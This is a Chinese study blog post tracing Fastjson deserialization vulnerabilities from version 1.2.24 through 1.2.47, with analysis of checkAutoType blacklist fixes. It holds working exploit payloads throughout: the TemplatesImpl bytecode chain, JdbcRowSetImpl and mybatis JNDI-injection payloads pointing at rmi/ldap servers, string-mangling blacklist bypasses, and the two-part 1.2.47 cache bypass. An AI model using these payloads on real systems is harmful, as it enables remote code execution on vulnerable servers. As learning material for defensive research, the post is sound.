title: fastjson反序列化
tags:
- web学习
- Java
abbrlink: 13031
date: 2023-05-07 17:44:45
环境配置
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.23</version>
</dependency>
Fastjson概述
FastJson是一个由阿里巴巴研发的java库,可以把java对象转换为JSON格式,也可以把JSON字符串转换为对象
这里列举一些 fastjson 功能要点:
- 使用
JSON.parse(jsonString)
和JSON.parseObject(jsonString, Target.class)
,两者调用链一致,前者会在 jsonString 中解析字符串获取@type
指定的类,后者则会直接使用参数中的class。 - fastjson 在创建一个类实例时会通过反射调用类中符合条件的 getter/setter 方法,其中 getter 方法需满足条件:方法名长于 4、不是静态方法、以
get
开头且第4位是大写字母、方法不能有参数传入、继承自Collection|Map|AtomicBoolean|AtomicInteger|AtomicLong
、此属性没有 setter 方法;setter 方法需满足条件:方法名长于 4,以set
开头且第4位是大写字母、非静态方法、返回类型为 void 或当前类、参数个数为 1 个。具体逻辑在com.alibaba.fastjson.util.JavaBeanInfo.build()
中。 - 使用
JSON.parseObject(jsonString)
将会返回 JSONObject 对象,且类中的所有 getter 与setter 都被调用。 - 如果目标类中私有变量没有 setter 方法,但是在反序列化时仍想给这个变量赋值,则需要使用
Feature.SupportNonPublicField
参数。 - fastjson 在为类属性寻找 get/set 方法时,调用函数
com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#smartMatch()
方法,会忽略_|-
字符串,也就是说哪怕你的字段名叫_a_g_e_
,getter 方法为getAge()
,fastjson 也可以找得到,在 1.2.36 版本及后续版本还可以支持同时使用_
和-
进行组合混淆。 - fastjson 在反序列化时,如果 Field 类型为
byte[]
,将会调用com.alibaba.fastjson.parser.JSONScanner#bytesValue
进行 base64 解码,对应的,在序列化时也会进行 base64 编码。
使用
先建一个javabean
public class javaBean {
private String name;
private int id;
public javaBean(){
System.out.println("无参构造");
}
public javaBean(String name, int id) {
this.name = name;
this.id = id;
}
@Override
public String toString() {
return "User{" +
"name='" + name + '\'' +
", id=" + id +
'}';
}
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public int getId() {
return id;
}
public void setId(int id) {
System.out.println("setId");
this.id = id;
}
}
然后可以使用JSON的toJSONString
方法 将对象转换为字符串
但是这样得到的json格式的字符串只有属性的内容,不能区分出属于哪一个类,因此toJSONString
方法还有第二个参数SerializerFeature.WriteClassName
传入
SerializerFeature.WriteClassName
可以使得Fastjson支持自省,开启自省后序列化成JSON的数据就会多一个@type,这个是代表对象类型的JSON文本。
这时的json中就有@type这个键,其值就是转换为json字符串的Java类
当然也可以把JSON 字符串转换为 Java 对象
使用JSON.parse
或者JSON.parseObject
可以把JSON 字符串转换为 Java 对象
JSON.parseObject
方法中没指定对象,返回的则是JSONObject
的对象。JSON.parseObject
和 JSON.parse
这两个方法差不多,JSON.parseObject
的底层调用的还是JSON.parse
方法,只是在JSON.parse
的基础上做了一个封装。
这种把对象转化为json字符串,再把字符串转换为java对象的过程其实也是一种序列化和反序列化
在序列化时,FastJson
会调用成员对应的get
方法,被private
修饰且没有get
方法的成员不会被序列化,
而反序列化的时候在,会调用了指定类的全部的setter
,publibc
修饰的成员全部赋值。
Fastjson1.2.24 版本漏洞复现
漏洞是利用fastjson autotype在处理json对象的时候,未对@type字段进行完全的安全性验证,攻击者可以传入危险类,并调用危险类连接远程rmi主机,通过其中的恶意类执行代码。攻击者通过这种方式可以实现远程代码执行漏洞的利用,获取服务器的敏感信息泄露,甚至可以利用此漏洞进一步对服务器数据进行修改,增加,删除等操作,对服务器造成巨大的影响。
漏洞攻击方式
@type 指定类
使用JSON.parse
方法反序列化会调用此类的set方法
使用JSON.parseObject
方法反序列化会调用此类get和set方法
可以写一个恶意类,然后通过这一特性实现命令执行
漏洞复现
parseObject流程
在正式复现漏洞之前,先看看parseObject的执行流程
首先就能看出来parseObject其实就是调了一个parse然后进行了强制类型转换
TemplatesImpl链
版本:fastjson <= 1.2.24
说明:借助TemplatesImpl类实现漏洞利用
这个类在CC链和CB链里都出现过,这里就是用了CB的那条从getOutputProperties到defineClass的路
先试试能不能到getOutputProperties,因为只有JSON.parseObject才能调用属性的get方法,所有这里只能用JSON.parseObject,而且因为fastjson处理的时候会去掉下划线,所以这个getOutputProperties方法对应的就是_outputProperties属性
证明确实能过来,所以后边就简单多了,就是满足一些条件,让它能最终加载恶意字节码
找找加载字节码的路上有哪些if判断,首先是_name不能为空,_class为空
然后是_bytecodes不能为空
_tfactory也不能空
最后就是加载的字节码内容是_bytecodes里的
这里_outputProperties
和_tfactory
是HashMap
类型的成员变量,所以可以赋值成一个空的hashmap,然后_name
随便赋个字符串类型的值,_bytecodes
是数组类型的值,这里我们先不纠结_bytecodes
里的内容,先把链子跑通再说
Fastjson默认只会反序列化public修饰的属性,因此由于outputProperties和_bytecodes由private修饰,必须加入Feature.SupportNonPublicField
在parseObject中才能触发;
构造好的测试payload为
String text = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"_name\":\"a\",\"_tfactory\":{},\"_bytecodes\":[\"1111111\"],\"_outputProperties\":{}}";
这里一定要注意顺序,因为我们要的是给所有的属性赋值完后再去执行反序列化链,因此_outputProperties必须放在最后面
调试一下发现已经走到defineClass里了,但是字节数组里没有值
这就是我们之前说的fastjson 在反序列化时,如果 Field 类型为 byte[]
,将会调用com.alibaba.fastjson.parser.JSONScanner#bytesValue
进行 base64 解码,对应的,在序列化时也会进行 base64 编码。
因为单纯的一个字符解不出来东西,导致出来的字节数组是空的
这也意味着我们要加载的恶意字节码必须经过base64加密后再传进去
这里就直接用cc3的时候的恶意字节码文件,然后对其进行base64加密
import java.io.ByteArrayOutputStream;
import java.io.FileInputStream;
import java.util.Base64;
import java.util.Base64.Encoder;
public class base {
public static void main(String args[]) {
byte[] buffer = null;
String filepath = "src/main/java/loadclass/cmd.class";
try {
FileInputStream fis = new FileInputStream(filepath);
ByteArrayOutputStream bos = new ByteArrayOutputStream();
byte[] b = new byte[1024];
int n;
while((n = fis.read(b))!=-1) {
bos.write(b,0,n);
}
fis.close();
bos.close();
buffer = bos.toByteArray();
}catch(Exception e) {
e.printStackTrace();
}
Encoder encoder = Base64.getEncoder();
String value = encoder.encodeToString(buffer);
System.out.println(value);
}
}
把得到的base64的结果放进_bytecodes里
执行即可
总结
其实主要都是CB链的部分,大部分内容在前边也都讲过了
JdbcRowSetImpl 链
这个就是基于JNDI注入的攻击方式,也是最常用的一种
和JNDI一样,有两种,一种是和RMI一起,另一种是和LDAP一起
1. JNDI + RMI
在JdbcRowSetImpl这个类里,有这么一个set方法
设置数据库源
里面调用了父类的setDataSourceName方法
这里面若name为空,则会对dataSource赋值,这个值我们可控。
然后再看JdbcRowSetImpl类里的setAutoCommit
当conn为空时,会进入connect方法
一个lookup方法,一个可控的url,完美的jndi注入点
而且这个conn在构造方法里,默认就是null
然后就可以构造一下payload了
{"@type":"com.sun.rowset.JdbcRowSetImpl","DataSourceName":"rmi://127.0.0.1:1099/remoteobj","autoCommit":true}
再起一个基于rmi的JNDI服务端端
2. JNDI + LDAP
就改个url,其他的和RMI的一样
贴个调用链,方便后边对比
Fastjson坎坷曲折的一生
自1.2.24版本出现了Fastjson的反序列化漏洞后,在之后几个版本,阿里不断的在对漏洞点进行修补,而安全研究者们也在不断的寻找绕过的手段(这真是,泰裤辣!
1.2.25-1.2.41
修复
在这个版本中,fastjson增加了黑名单而且设置了一个autoTypeSupport
用来控制是否可以反序列化,autoTypeSupport
默认为false
且禁止反序列化,为true时会使用checkAutoType
来进行安全检测
是在DefaultJSONParser.parseObject()里用的
1.2.24版本:
1.2.25版本:
跟进这个checkAutoType看看
public Class<?> checkAutoType(String typeName, Class<?> expectClass) {
if (typeName == null) {
return null;
}
final String className = typeName.replace('$', '.');
// autoTypeSupport默认为False
// 当autoTypeSupport开启时,先白名单过滤,匹配成功即可加载该类,否则再黑名单过滤
if (autoTypeSupport || expectClass != null) {
for (int i = 0; i < acceptList.length; ++i) {
String accept = acceptList[i];
if (className.startsWith(accept)) {
return TypeUtils.loadClass(typeName, defaultClassLoader);
}
}
for (int i = 0; i < denyList.length; ++i) {
String deny = denyList[i];
if (className.startsWith(deny)) {
throw new JSONException("autoType is not support. " + typeName);
}
}
}
// 从Map缓存中获取类,注意这是后面版本的漏洞点
Class<?> clazz = TypeUtils.getClassFromMapping(typeName);
if (clazz == null) {
clazz = deserializers.findClass(typeName);
}
if (clazz != null) {
if (expectClass != null && !expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
return clazz;
}
// 当autoTypeSupport未开启时,先黑名单过滤,再白名单过滤,若白名单匹配上则直接加载该类,否则报错
if (!autoTypeSupport) {
for (int i = 0; i < denyList.length; ++i) {
String deny = denyList[i];
if (className.startsWith(deny)) {
throw new JSONException("autoType is not support. " + typeName);
}
}
for (int i = 0; i < acceptList.length; ++i) {
String accept = acceptList[i];
if (className.startsWith(accept)) {
clazz = TypeUtils.loadClass(typeName, defaultClassLoader);
if (expectClass != null && expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
return clazz;
}
}
}
if (autoTypeSupport || expectClass != null) {
clazz = TypeUtils.loadClass(typeName, defaultClassLoader);
}
if (clazz != null) {
if (ClassLoader.class.isAssignableFrom(clazz) // classloader is danger
|| DataSource.class.isAssignableFrom(clazz) // dataSource can load jdbc driver
) {
throw new JSONException("autoType is not support. " + typeName);
}
if (expectClass != null) {
if (expectClass.isAssignableFrom(clazz)) {
return clazz;
} else {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
}
}
if (!autoTypeSupport) {
throw new JSONException("autoType is not support. " + typeName);
}
return clazz;
}
简单地说,checkAutoType()
函数就是使用黑白名单的方式对反序列化的类型继续过滤,acceptList为白名单(默认为空,可手动添加),denyList为黑名单(默认不为空)
//denyList
bsh
com.mchange
com.sun.
java.lang.Thread
java.net.Socket
java.rmi
javax.xml
org.apache.bcel
org.apache.commons.beanutils
org.apache.commons.collections.Transformer
org.apache.commons.collections.functors
org.apache.commons.collections4.comparators
org.apache.commons.fileupload
org.apache.myfaces.context.servlet
org.apache.tomcat
org.apache.wicket.util
org.codehaus.groovy.runtime
org.hibernate
org.jboss
org.mozilla.javascript
org.python.core
org.springframework
这里因为黑名单中包含了”com.sun.”,所以就把我们前面的几个利用链都给过滤了
先在如果还是用之前的payload会报错
autoType is not support. com.sun.rowset.JdbcRowSetImpl
绕过
绕过的前提是autoTypeSupport开启,在这种情况下
调用checkAutoType后,会先进行这个if判断
也就是先找白名单,找到直接加载,找不到就去找黑名单,找到直接报错。
假设都没找到,在后面也还是会加载类
所以只要想办法绕过第一个if里的对黑名单的检测就可以了
跟一下后面这个loadClass
会发现它在加载之前会对传进去的特定内容进行一个切割,对切割后的内容进行类加载
所以我们让com.sun.rowset.JdbcRowSetImpl以L开头,以;结尾
变为Lcom.sun.rowset.JdbcRowSetImpl;
这样既能绕过黑名单,又能实现类加载
poc为
public class text {
public static void main(String[] args) {
ParserConfig.getGlobalInstance().setAutoTypeSupport(true); //开启autoTypeSupport
String poc = "{\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\",\"DataSourceName\":\"ldap://127.0.0.1:9999/a\",\"autoCommit\":true}";
JSON.parse(poc);
}
}
1.2.42
修复
在这个版本中,依旧用了黑白名单的方式,但是用hash的方式存的黑名单。应该是为了防止其他人根据这个去找绕过的路径
然后再checkAutoType方法里加了个这种东西。如果这个类名是以L开头和以;结尾的,就去掉第一个字符和最后一个字符再进行后面的判断
吐槽一下,这个if判断至于也要写成hash的形式吗,这截取的substring这么明显,而且截取的方式是不是有点太草率了
绕过
双写
public class text {
public static void main(String[] args) {
ParserConfig.getGlobalInstance().setAutoTypeSupport(true); //开启autoTypeSupport
String poc = "{\"@type\":\"LLcom.sun.rowset.JdbcRowSetImpl;;\",\"DataSourceName\":\"ldap://127.0.0.1:9999/a\",\"autoCommit\":true}";
JSON.parse(poc);
}
}
1.2.43
修复
在checkAutoType里对传入的东西再加了一层判断,如果前两位是LL,那就直接报错
绕过
在loadClass里除了对L开头;结尾的输入进行处理,还对[开头的输入也进行了截取,所以
[com.sun.rowset.JdbcRowSetImpl,通过这个方式可以过checkAutotype检测
但是这样会有个报错
这里就需要你在类路径后边加上[{,至于为什么还没怎么跟,原因就是
具体源码没跟,以后有空再说
1.2.44
修复
在checkAutoType
中进行判断如果类名以[
开始则直接抛出异常,由字符串处理导致的黑名单绕过也就告一段落了。
绕过
这个版本没绕过,倒不是因为这个版本就没洞了,只不过是因为在之后版本发现的payload在这个版本也能用
1.2.45
修复
也不能叫修复吧,毕竟上个版本也没爆漏洞
增加了黑名单
绕过
这里安全研究者将目光投向了组件身上
1.2.45的payload就是由mybatis导致的组件漏洞
先贴一个payload
{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"ldap://localhost:1389/Exploit"}}
由于org.apache.ibatis.datasource.jndi.JndiDataSourceFactory不在黑名单,所以能绕过checkAutoType的判断
然后按照Fastjson的特性,会去调用属性的set方法赋值
这个payload里有properties方法,理所当然的会去调用setProperties
又因为我们给properties赋的值的键是data_source
满足这个else if判断
这是里调用了lookup方法,而里边的getProperty方法就是获取data_source这个键对应的值
现在我们有了一个lookup方法,还有了个可控的url
就能实现jndi注入了
1.2.47
修复
没怎么找资料,大概也就是把org.apache.ibatis.datasource.jndi.JndiDataSourceFactory类也放黑名单里了之类的,这个版本重点在绕过
绕过
自1.2.24漏洞修复后,我们的绕过都需要依赖AutoTypeSupport为true才能实现,这其实大大限制了我们的利用,而1.2.47版本出现的利用方式则解决了这一问题
这里出问题的还是负责安全检查的checkAutoType方法
public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) {
// 类名非空判断
if (typeName == null) {
return null;
}
// 类名长度判断,不大于128不小于3
if (typeName.length() >= 128 || typeName.length() < 3) {
throw new JSONException("autoType is not support. " + typeName);
}
String className = typeName.replace('$', '.');
Class<?> clazz = null;
final long BASIC = 0xcbf29ce484222325L; //;
final long PRIME = 0x100000001b3L; //L
final long h1 = (BASIC ^ className.charAt(0)) * PRIME;
// 类名以 [ 开头抛出异常
if (h1 == 0xaf64164c86024f1aL) { // [
throw new JSONException("autoType is not support. " + typeName);
}
// 类名以 L 开头以 ; 结尾抛出异常
if ((h1 ^ className.charAt(className.length() - 1)) * PRIME == 0x9198507b5af98f0L) {
throw new JSONException("autoType is not support. " + typeName);
}
final long h3 = (((((BASIC ^ className.charAt(0))
* PRIME)
^ className.charAt(1))
* PRIME)
^ className.charAt(2))
* PRIME;
// autoTypeSupport 为 true 时,先对比 acceptHashCodes 加载白名单项
if (autoTypeSupport || expectClass != null) {
long hash = h3;
for (int i = 3; i < className.length(); ++i) {
hash ^= className.charAt(i);
hash *= PRIME;
if (Arrays.binarySearch(acceptHashCodes, hash) >= 0) {
clazz = TypeUtils.loadClass(typeName, defaultClassLoader, false);
if (clazz != null) {
return clazz;
}
}
// 再对比 denyHashCodes 进行黑名单匹配
// 如果黑名单有匹配并且 TypeUtils.mappings 里没有缓存这个类
// 则抛出异常
if (Arrays.binarySearch(denyHashCodes, hash) >= 0 && TypeUtils.getClassFromMapping(typeName) == null) {
throw new JSONException("autoType is not support. " + typeName);
}
}
}
// 尝试在 TypeUtils.mappings 中查找缓存的 class
if (clazz == null) {
clazz = TypeUtils.getClassFromMapping(typeName);
}
// 尝试在 deserializers 中查找这个类
if (clazz == null) {
clazz = deserializers.findClass(typeName);
}
// 如果找到了对应的 class,则会进行 return
if (clazz != null) {
if (expectClass != null
&& clazz != java.util.HashMap.class
&& !expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
return clazz;
}
// 如果没有开启 AutoTypeSupport ,则先匹配黑名单,在匹配白名单,与之前逻辑一致
if (!autoTypeSupport) {
long hash = h3;
for (int i = 3; i < className.length(); ++i) {
char c = className.charAt(i);
hash ^= c;
hash *= PRIME;
if (Arrays.binarySearch(denyHashCodes, hash) >= 0) {
throw new JSONException("autoType is not support. " + typeName);
}
if (Arrays.binarySearch(acceptHashCodes, hash) >= 0) {
if (clazz == null) {
clazz = TypeUtils.loadClass(typeName, defaultClassLoader, false);
}
if (expectClass != null && expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
return clazz;
}
}
}
// 如果 class 还为空,则使用 TypeUtils.loadClass 尝试加载这个类
if (clazz == null) {
clazz = TypeUtils.loadClass(typeName, defaultClassLoader, false);
}
if (clazz != null) {
if (TypeUtils.getAnnotation(clazz,JSONType.class) != null) {
return clazz;
}
if (ClassLoader.class.isAssignableFrom(clazz) // classloader is danger
|| DataSource.class.isAssignableFrom(clazz) // dataSource can load jdbc driver
) {
throw new JSONException("autoType is not support. " + typeName);
}
if (expectClass != null) {
if (expectClass.isAssignableFrom(clazz)) {
return clazz;
} else {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
}
JavaBeanInfo beanInfo = JavaBeanInfo.build(clazz, clazz, propertyNamingStrategy);
if (beanInfo.creatorConstructor != null && autoTypeSupport) {
throw new JSONException("autoType is not support. " + typeName);
}
}
final int mask = Feature.SupportAutoType.mask;
boolean autoTypeSupport = this.autoTypeSupport
|| (features & mask) != 0
|| (JSON.DEFAULT_PARSER_FEATURE & mask) != 0;
if (!autoTypeSupport) {
throw new JSONException("autoType is not support. " + typeName);
}
return clazz;
}
这里其实有个问题
这块,如果开启了autoTypeSupport,fastjson还是会限制黑名单类的反序列化,但是前提是TypeUtils.mappings里没有缓存这个类,那假如缓存了,即使身处黑名单中的类,也可以继续被程序反序列化
而在 autoTypeSupport 为默认的 false 时,程序直接检查黑名单并抛出异常,在这部分我们无法绕过,所以必须想办法在当autoTypeSupport为false时执行的这个if判断前实现我们的攻击目的,或者退出checkAutoType方法
在这个if判断之前就这点代码
由于clazz初值是null,前面也没地方赋值,所以其实在这个if之前就俩if判断
假如在这里面能实现攻击那自然不用再管后面的程序,而如果能在这里面把clazz的值给赋上,那就能在判断autoTypeSupport是否为假的if判断前退出程序
先看 deserializers ,位于 com.alibaba.fastjson.parser.ParserConfig.deserializers
,是一个 IdentityHashMap,能向其中赋值的函数有:
getDeserializer()
:这个类用来加载一些特定类,以及有JSONType
注解的类,在 put 之前都有类名及相关信息的判断,无法为我们所用。initDeserializers()
:无入参,在构造方法中调用,写死一些认为没有危害的固定常用类,无法为我们所用。putDeserializer()
:被前两个函数调用,我们无法控制入参。
因此我们无法向 deserializers 中写入值,也就在其中读出我们想要的恶意类。所以我们的目光转向了 TypeUtils.getClassFromMapping(typeName)
。
这个方法从 TypeUtils.mappings
中取值,这是一个 ConcurrentHashMap 对象,
能向其中赋值的函数有:
addBaseClassMappings()
:无入参,加载
loadClass()
:关键函数
public static Class<?> loadClass(String className, ClassLoader classLoader, boolean cache) {
// 非空判断
if(className == null || className.length() == 0){
return null;
}
// 防止重复添加
Class<?> clazz = mappings.get(className);
if(clazz != null){
return clazz;
}
// 判断 className 是否以 [ 开头
if(className.charAt(0) == '['){
Class<?> componentType = loadClass(className.substring(1), classLoader);
return Array.newInstance(componentType, 0).getClass();
}
// 判断 className 是否 L 开头 ; 结尾
if(className.startsWith("L") && className.endsWith(";")){
String newClassName = className.substring(1, className.length() - 1);
return loadClass(newClassName, classLoader);
}
try{
// 如果 classLoader 非空,cache 为 true 则使用该类加载器加载并存入 mappings 中
if(classLoader != null){
clazz = classLoader.loadClass(className);
if (cache) {
mappings.put(className, clazz);
}
return clazz;
}
} catch(Throwable e){
e.printStackTrace();
// skip
}
// 如果失败,或没有指定 ClassLoader ,则使用当前线程的 contextClassLoader 来加载类,也需要 cache 为 true 才能写入 mappings 中
try{
ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader();
if(contextClassLoader != null && contextClassLoader != classLoader){
clazz = contextClassLoader.loadClass(className);
if (cache) {
mappings.put(className, clazz);
}
return clazz;
}
} catch(Throwable e){
// skip
}
// 如果还是失败,则使用 Class.forName 来获取 class 对象并放入 mappings 中
try{
clazz = Class.forName(className);
mappings.put(className, clazz);
return clazz;
} catch(Throwable e){
// skip
}
return clazz;
}
所以可以通过控制传参实现在mapping里放入任意的类
这个loadClass有三个重载
我们的目标就是调用第三个,而从一或者从二都能到第三个。
因为第三个只在checkAutoType里和第二个loadClass里调用
所以这个没戏了
然后这里重点看一下两个参数的loadClass
进deserialze里看一眼
这个类是用来处理一些乱七八糟类的反序列化类,其中就包括 Class.class
类,可以当我们加载恶意字节码的入口。
如果这个类是Class.class类型,就调用我们的loadClass
再看一下loadClass的参数
是可控的。只需要parser.resolveStatus 的值为TypeNameRedirect而且加载的是个Class.class类型的,就可以进入loadClass里
在loadClass里,他会把我们传入的类加进缓存里,所以如果我们的恶意payload有两部分,第一部分负责将恶意类假如缓存,第二部分就可以绕过黑名单的检查去执行命令
加入缓存的地方找到了,接下来简单说一下调用的过程和构造payload的时候的参数问题
调用MiscCodec#deserialze的地方在DefaultJSONParser#parseObject。在安全检查的后边,但是因为我们第一部分的payload肯定不会触发安全检查的报错,也就是说MiscCodec#deserialze一定会被触发
这个clazz就是@type的值,然后由于MiscCodec#deserialze里有
所以想要进缓存的类的键必须为val
我们可以编写
第一部分的payload了
{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"}
后边就没啥说的了,因为绕过了安全检查,所以第二部分用之前JdbcRowSetImpl链的payload就行
完整payload
String poc = "{{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"},{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"DataSourceName\":\"ldap://127.0.0.1:9999/a\",\"autoCommit\":true}}";
小结
这篇其实写的挺赶的,主要是先为了学会利用,所以没怎么细跟代码,而且有点错误在里边,比如1.2.47的payload的不受AutoTypeSupport影响的版本:其实是1.2.25 <= fastjson <= 1.2.32
而受AutoTypeSupport影响版本有1.2.33 <= fastjson <= 1.2.47
具体原因还没看
还有就是关于高jdk版本绕过以及fastjson-1.2.68和fastjson结合原生反序列化利用的漏洞利用没写,等打完国赛或者过完期末再补吧
参考文章
https://su18.org/post/fastjson/
https://tttang.com/archive/1579/
fastjson反序列化漏洞3-<=1.2.47绕过_哔哩哔哩_bilibili
FastJson与原生反序列化 | Y4tacker's Blog